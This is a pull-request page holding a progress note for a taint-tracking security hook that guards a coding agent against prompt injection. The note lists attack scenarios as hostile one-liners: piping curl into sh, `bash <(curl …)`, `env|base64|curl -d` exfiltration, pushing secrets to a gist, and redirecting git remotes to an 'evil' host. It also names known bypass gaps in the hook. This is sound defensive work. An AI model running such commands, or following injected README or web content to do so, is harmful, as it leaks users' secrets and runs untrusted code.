Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
20 commits
Select commit Hold shift + click to select a range
3702793
docs(design): v0.6.11 — taint-aware policy enforcement (GPT-5.5 appro…
JonoGitty May 1, 2026
f2d7e7a
feat(core): ToolEvent registry + hook coverage invariant (v0.6.11 com…
JonoGitty May 1, 2026
5f59d03
feat(core): sink taxonomy + Claude-native classifier (v0.6.11 commit 2)
JonoGitty May 6, 2026
323c95b
feat(core): multi-kind taint state engine (v0.6.11 commit 3)
JonoGitty May 6, 2026
dd73350
feat(core): URL canonicalization + adversarial corpus (v0.6.11 commit 5)
JonoGitty May 6, 2026
38abb2a
docs(design): v0.6.11 overnight progress note (commits 1/2/3/5 landed)
JonoGitty May 7, 2026
5800cbf
feat(core): conservative shell recognizer with ParseUnknown semantics…
JonoGitty May 7, 2026
ce757c0
feat(core): configured-remote resolution from .git/config (v0.6.11 co…
JonoGitty May 7, 2026
3e8bbb8
docs(design): v0.6.11 progress note — commit 4 (shell) + commit 6 (gi…
JonoGitty May 7, 2026
547e5e5
docs(design): add GPT-5.5 audit gates R1 + R2 to v0.6.11 plan
JonoGitty May 7, 2026
51d7a9e
feat(agents): PostToolUse taint source wiring (v0.6.11 commit 7)
JonoGitty May 12, 2026
f313a90
feat(agents): PreToolUse sink + taint enforcement (v0.6.11 commit 8)
JonoGitty May 12, 2026
efeff50
fix(relay): configurable socket group restores client connectivity
JonoGitty May 12, 2026
7b32488
fix(agents): land R1 GPT-5.5 audit findings (R1-002/3/4/5/6/7/10)
JonoGitty May 12, 2026
d60054f
feat(cli+agents): approve + clear-taint + trust-repo-config (v0.6.11 …
JonoGitty May 12, 2026
ebbcda9
test(integration): release-gate scenarios A1-A8 (v0.6.11 commit 11)
JonoGitty May 12, 2026
a0e450b
docs(v0.6.11): threat model + migration guide + README shipped entry …
JonoGitty May 12, 2026
206501c
fix(agents+cli): land R2 GPT-5.5 audit findings R2-001/002/003/004
JonoGitty May 12, 2026
90b4631
fix(agents+cli+docs): land R3 GPT-5.5 audit findings R3-001/002/003
JonoGitty May 12, 2026
f8f5c90
fix(agents+core+policy): land R4 GPT-5.5 audit findings R4-001/002
JonoGitty May 12, 2026
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
135 changes: 135 additions & 0 deletions DESIGN/v0.6.11-progress.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,135 @@
# v0.6.11 progress

Branch: `feature/v0.6.11-taint`. All work pushed to `origin`.

## Landed (10 of 12 commits)

| # | Commit | SHA | Tests added |
|---|---|---|---|
| 1 | `feat(core): ToolEvent registry + hook coverage invariant` | `f2d7e7a` | +22 |
| 2 | `feat(core): sink taxonomy + Claude-native classifier` | `5f59d03` | +29 |
| 3 | `feat(core): multi-kind taint state engine` | `323c95b` | +37 |
| 4 | `feat(core): conservative shell recognizer (Option B + ParseUnknown)` | `5800cbf` | +98 |
| 5 | `feat(core): URL canonicalization + adversarial corpus` | `dd73350` | +171 |
| 6 | `feat(core): configured-remote resolution from .git/config` | `ce757c0` | +42 |
| 7 | `feat(agents): PostToolUse taint source wiring + per-session snapshot store` | `51d7a9e` | +21 |
| 8 | `feat(agents): PreToolUse sink + taint enforcement (the keystone)` | `f313a90` | +35 |
| - | `fix(relay): configurable socket group restores client connectivity` | `efeff50` | +7 |
| - | `fix(agents): R1 audit findings R1-002/3/4/5/6/7/10` | `7b32488` | +12 |
| 9 | `feat(cli+agents): approve + clear-taint + trust-repo-config` | `d60054f` | +12 |
| 11 | `test(integration): release-gate scenarios A1-A8` | _pending_ | +10 |

**Tests: 943 → 1439 (+496 since v0.6.10).** Build clean across all packages.

Commit 10 (docs) was deliberately reordered after commit 11 — integration tests have higher signal value before R2 sees the full surface.

## What each commit ships (highlights)

### Commit 4 — shell recognizer
- `packages/core/src/shell/{lexer,parse,sink-indicators,types}.ts`
- Lexer: every quoting form (single / double / ANSI-C / backslash), every redirect (`>`, `>>`, `<`, `<<`, `<<-`, `<<<`, `2>`, `&>`, fd dups), heredocs with proper newline emission, process substitution.
- Parser: pipelines, sequences, simple commands, compound prefix unwrap (`sudo`/`nice`/`timeout`/`env`/`nohup`/`command`/`exec`/`stdbuf`), inline `-c` recursion, `resolved_head` so indicators fire even when argv is unresolved, process-sub presence drops parent confidence to `low`.
- Sink indicators: interpreter / fetch_tool / eval_construct / network_redirect / secret_path / scp_rsync / nc_socat / ssh / package_lifecycle (gated on `--ignore-scripts`) / gh_upload / git_remote_mutate (incl. `git -c` smuggle) / interpreter_inline_eval / pipe_to_interpreter / process_sub_to_interpreter.
- Release-gate scenarios A5 / A6c / A7 / A8 all detected by tests.
- File named `lexer.ts` not `tokenize.ts` to dodge Patchwork's own `**/*token*` SENSITIVE_GLOBS false-positive when self-hosting.

### Commit 6 — git remote resolution
- `packages/core/src/git/{parse-config,resolve-remote}.ts`
- `parseGitConfig` handles every section header form, quoting, escapes, multi-value keys, malformed-line resilience.
- `resolveGitRemote` returns `{urls, push_urls?, resolved, source, applied_rewrites}`. Closes:
- **A6 basic**: `git push https://evil HEAD` → `argv_url`
- **A6b**: `git remote add x evil; git push x` → `remote_added_in_command` via `extractMutationsFromArgv`
- **A6c**: `git -c remote.x.url=evil push x` → `c_flag_override`
- `url.insteadOf` longest-prefix-wins rewriting
- `pushInsteadOf` push-only rewriting
- Default-origin fallback when arg omitted
- Unknown remote → `unresolved` (deny under taint per design 3.4)
- `parseGitArgv` and `extractMutationsFromArgv` extract the resolver inputs from a parsed shell argv.

### Commit 7 — PostToolUse taint source wiring

- `packages/agents/src/claude-code/taint-store.ts` — per-session JSON store at `~/.patchwork/taint/<session_id>.json`, mode 0600, dir 0700, atomic tmp+rename. Schema is the existing `TaintSnapshotSchema` from core. `readTaintSnapshot` returns `null` on missing / corrupt / schema-invalid — commit 8 must collapse that `null` to all-kinds-active and force approval (the sink-fail-closed half of the storage contract).
- `packages/agents/src/claude-code/adapter.ts` — new `updateTaintSnapshotForPostTool` helper called after `store.append` in `handlePostToolUse`, wrapped in try/catch (source fail-open). Wiring:
- `WebFetch` / `WebSearch` → `prompt` + `network_content`
- `mcp__*` → `mcp` + `prompt` (via the `"mcp:"` prefix key)
- `Read` → `prompt` only; `secret` is deferred to commit 8 (gated on a `secret_read` match from `classifyToolEvent`, not fired on every Read)
- `Write` / `Edit` / `MultiEdit` / `NotebookEdit` → `registerGeneratedFile(path, currentActiveSources)`; no-op when the session has no upstream taint, so clean writes don't churn the snapshot
- `Bash` → deferred (shell-parser composition lives in commit 8)
- Session-id sanitizer collapses anything outside `[A-Za-z0-9_-]` to `_` so a hostile `session_id` can't path-traverse out of the taint dir.
- Tests: `tests/claude-code/taint-store.test.ts` (12) covers roundtrip, mode bits, atomic-rename, corrupt-JSON → null, schema-invalid → null, loadOrInit fallback, repeated-write overwrite, sanitizer. Adapter tests (9) cover each tool family, the Bash-deferred contract, the clean-write-no-snapshot invariant, the WebFetch→Write provenance flow, and a fail-open path that wedges the taint dir while keeping `events.jsonl` writable.

### Commit 8 — PreToolUse sink + taint enforcement (the keystone)

- `packages/agents/src/claude-code/pre-tool-decision.ts` — pure decision composer. Takes `{ policy, sinkMatches, parsedCommand?, taintSnapshot: TaintSnapshot|null }` → `{ verdict: "allow"|"approval_required"|"deny", reason, rule }`. Decision order: `policy_deny` → `bash_unknown_indicator_taint` (the keystone) → `sink_deny` → `sink_approval_required` → `default_allow`. No I/O.
- **Reader fail-closed nuance**: `null` snapshot is NOT a top-level verdict by itself — that would force approval on every fresh session's first action. Instead, every rule that *consults* taint collapses `null` to "every kind active." A fresh-session `Bash ls` allows (no rule consults taint for that input); a fresh-session `Bash curl 'unterminated` denies via the keystone. The adapter mirrors this by synthesizing an "all-active" `taint_state` on the `ToolEvent` it passes to `classifyToolEvent`, so the sink layer's persistence severity flips to `deny` exactly as if real taint were present.
- **Keystone rule**: `confidence === "unknown"` (anywhere in the parsed tree) AND any `sink_indicator` (anywhere in the tree) AND any active taint kind → `deny`. Fires *before* sink rules because an unparseable Bash with a curl indicator under taint is more dangerous than what `classifyToolEvent` can see — the sink layer only matches resolved paths/urls; the keystone matches surface indicators on commands we couldn't statically resolve.
- `packages/agents/src/claude-code/adapter.ts` `handlePreToolUse`:
- Existing flow preserved: malformed-input check, `evaluatePolicy()`. Both fire before the new layer.
- New: after policy allows, build a minimal `ToolEvent`, run `classifyToolEvent`, parse Bash via `parseShellCommand`, read the taint snapshot, call `decidePreToolUse`. Translate to `hookSpecificOutput` (approval_required maps to `permissionDecision: "deny"` with a distinct reason prefix until commit 9's `patchwork approve` lands).
- Decision-layer errors fail closed (deny with `enforcement layer error` reason) — a bug must not silently allow.
- `updateTaintSnapshotForPostTool` now wires **Bash taint via shell-parser indicators**: parses the command and maps `fetch_tool` indicators → `network_content` + `prompt`. Other commit-4 indicators (interpreter, eval_construct, …) describe what the command did rather than what came INTO context, so they don't raise taint here.
- Tests: `tests/claude-code/pre-tool-decision.test.ts` (26) covers every decision branch, rule ordering, and the fail-closed semantics. New `PreToolUse enforcement` block in `adapter.test.ts` (9 tests) covers fresh-session allow paths, the keystone fires under tainted + unparseable + indicator, malformed-input preservation, advisory matches (secret_read) do not block. Tests load a permissive policy via `PATCHWORK_SYSTEM_POLICY_PATH` + `NODE_ENV=test` to bypass the host's strict system policy and exercise the taint/sink layer in isolation.

### Commit 9 — patchwork approve + clear-taint + trust-repo-config

- `packages/agents/src/claude-code/approval-store.ts` — two-file user-space approval flow. PreToolUse on `approval_required`/sink-deny verdict writes `~/.patchwork/approvals/<id>.pending.json` (with canonical key = sha256(session+tool+target)). `patchwork approve <id>` writes `<id>.approved.json` with TTL (default 5 min). Next matching PreToolUse retry consumes (deletes) the token — single use. Threat-model residual: same-user storage means an injected agent could in principle forge tokens, mitigated by the existing `**/.patchwork/**` policy deny; HMAC for v0.6.12.
- `packages/cli/src/commands/approve.ts` — `patchwork approve` lists pending requests (no arg) or approves a specific one (`patchwork approve <id> --ttl 10`).
- `packages/cli/src/commands/clear-taint.ts` — `patchwork clear-taint [kind] [--session id] [--allow-secret]`. Default: clear all non-secret kinds for the most-recently-modified snapshot. Wraps the engine's `clearTaint` so cleared sources are retained for audit but no longer count in `hasAnyTaint`.
- `packages/cli/src/commands/trust-repo-config.ts` — `patchwork trust-repo-config <glob>` adds an entry to `<cwd>/.patchwork/policy.yml` `trusted_paths:`. `--list` and `--remove` supported. Schema added to `PolicySchema.trusted_paths` (defaults to `[]`).
- Adapter wiring: `readPathIsUntrusted` reads system policy + merges project-local `trusted_paths` overlay, calls `isPathUntrustedRepo` with a picomatch matcher that handles both abs-path and repo-relative globs. Read PostToolUse skips `prompt` taint when path is trusted. `FORCE_UNTRUSTED_PATTERNS` (README/docs/node_modules/etc.) always win — `trusted_paths` cannot silence prompt-injection canary surfaces.
- Tests: agents 217 → 229 (+12). 10 approval-store roundtrip / TTL / single-use tests. 3 adapter tests covering approved-token-consumes, trusted_paths skips prompt, and FORCE_UNTRUSTED overrides trusted_paths.

### Commit 11 — release-gate integration tests A1-A8

- `packages/agents/tests/integration/release-gate-A1-A8.test.ts` — 10 end-to-end tests covering each canonical attacker scenario:
- A1 README → `gh gist create .env`: DENY via gh_upload + secret_path under prompt taint
- A2 `env|base64|curl-d` exfil: documented v0.6.12 gap (needs URL allowlist + body-shape detection); test pins current allow behavior
- A3 MCP-tainted `npm install`: DENY via package_lifecycle classifier
- A4 Write to `.github/workflows/`: DENY via persistence sink under taint
- A5 `curl … | sh`: DENY via dangerous-shell-combos `pipe_to_shell`
- A6 `git remote add evil && git push`: DENY via git_remote_mutate combo
- A7 tainted Write installer.sh → execute: pinned (current state acceptable; generated_file_execute sink is v0.6.12)
- A8 `bash <(curl …)`: DENY via process_sub_to_interpreter combo
- Plus 2 negative controls: `curl|sh` on fresh session still denies (fail-closed correct); `Bash ls` on fresh session allows.
- 9 of 8 scenarios pass on first run; only A2 is the documented gap per design.

## What's left (2 commits + 1 GPT-5.5 review gate)

| # | Step | Why supervised vs autonomous |
|---|---|---|
| **R1** | **GPT-5.5 post-wiring audit** (`REVIEWS/2026-XX-XX-gpt55-v0.6.11-impl-audit-roundN.json`) | Cross-vendor review of the enforcement implementation against the approved design. Catches bypasses BEFORE integration tests are written, so commit 11 can be informed by GPT findings. Multi-round if NEEDS_REWORK. Save fix-status doc per v0.6.10 pattern. Budget ~$3-4. |
| 9 | `feat(cli): patchwork approve + clear-taint + trust-repo-config` | Medium risk. Interactive CLI surface, auth-flow correctness. Pair on the approval-socket non-bypassability check (watch-out #4). |
| 10 | `docs: hook coverage matrix + safety limits + threat model + migration guide` | Low risk. Mostly generated from the commit-1 tool registry + this progress doc + design doc. Could be done autonomously. |
| 11 | `test(integration): release-gate scenarios A1-A8 + must all pass in enforce mode` | The merge bar. Needs 7+8 wired and R1 findings addressed. |
| **R2** | **GPT-5.5 ship-check audit** | Final gate before tagging. Smaller scope: "is this safe to release?" Implementation + tests both visible. Budget ~$1-2. |
| 12 | `chore(release): v0.6.11` | Tag + npm publish + GitHub release. Needs Jono. Only proceeds if R2 returns SHIP. |

**Audit budget reference:** v0.6.10 spent ~$5 of $10 on the cross-vendor security audit; v0.6.11 design rounds 1-4 cost $1.02. R1+R2 should land in ~$5 total — leaves comfortable headroom.

## Things to know when picking this up

- The shell parser exposes a tree where every node has `confidence` and `sink_indicators`. Commit 8's enforcement rule is: **`confidence === "unknown"` AND any indicator AND any taint = DENY.**
- Commit 8 should also walk pipe / sequence children and merge their indicators with the parent's. The recognizer already bubbles up — `combineChildrenIndicators` adds `pipe_to_interpreter` and `process_sub_to_interpreter` at the parent.
- The git resolver returns `applied_rewrites` so the audit log records every `url.insteadOf` redirect — visibility for forensic analysis.
- The URL module's `decideUrlPolicy` is the single place to evaluate any URL. Don't add new canonicalizers; route through it (watch-out #8).
- Commit 2's `classify.ts` still has its own local `hasAnyTaint` shim. Commit 8 should migrate it to the engine's `hasAnyTaint(snapshot)` once `ToolEvent.taint_state` is populated.
- Self-hosting reminder: `**/*token*` and `**/*credential*` and `**/*secret*` filename patterns will trip Patchwork's own pre-tool hook. Avoid in filenames.

## Repo state at handoff

```
On branch feature/v0.6.11-taint
Your branch is up to date with 'origin/feature/v0.6.11-taint'.
nothing to commit, working tree clean
```

Recent log:
```
ce757c0 feat(core): configured-remote resolution from .git/config (v0.6.11 commit 6)
5800cbf feat(core): conservative shell recognizer with ParseUnknown semantics (v0.6.11 commit 4)
dd73350 feat(core): URL canonicalization + adversarial corpus (v0.6.11 commit 5)
323c95b feat(core): multi-kind taint state engine (v0.6.11 commit 3)
5f59d03 feat(core): sink taxonomy + Claude-native classifier (v0.6.11 commit 2)
f2d7e7a feat(core): ToolEvent registry + hook coverage invariant (v0.6.11 commit 1)
3702793 docs(design): v0.6.11 — taint-aware policy enforcement (GPT-5.5 approved)
```
Loading
Loading